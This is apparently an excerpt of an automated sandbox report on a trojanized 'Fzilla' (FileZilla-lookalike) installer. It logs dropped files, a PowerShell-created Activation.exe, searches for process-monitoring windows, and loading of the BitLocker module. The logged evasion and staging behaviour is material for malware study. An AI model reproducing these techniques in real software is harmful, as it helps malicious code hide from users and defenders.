Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\wxbase32u_gcc_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-QDPQH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\wxbase32u_xml_gcc_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\uninstall.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libfilezilla-45.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libgnutls-30.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libnettle-8.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-5SMFM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-A7Q49.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-HOTO1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-PM1M7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libpng16-16.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-3PB36.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-OFR6V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-6M3HV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-FUL37.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-S855R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-G1HOC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-TST7B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-PU0TT.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\rukT6hBo6P.exe	File created: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-75899.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\fzputtygen.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libgmp-10.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-D9L8F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-ENHKS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-3N89B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\fzshellext.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-BVQAD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libstdc++-6.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\wxmsw32u_xrc_gcc_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-0BL99.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libfzclient-commonui-private-3-67-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libhogweed-6.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-0UGH2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libfzclient-private-3-67-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-CBLQR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\wxmsw32u_aui_gcc_custom.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Activation.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-MRNBG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\fzstorj.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\wxmsw32u_core_gcc_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-6EDME.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libsqlite3-0.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\filezilla.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\is-68M3B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\libgcc_s_seh-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\Program Files (x86)\Fzilla\fzshellext_64.dll (copy)	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Fzilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Fzilla\Fzilla.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Fzilla\??????? Fzilla.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
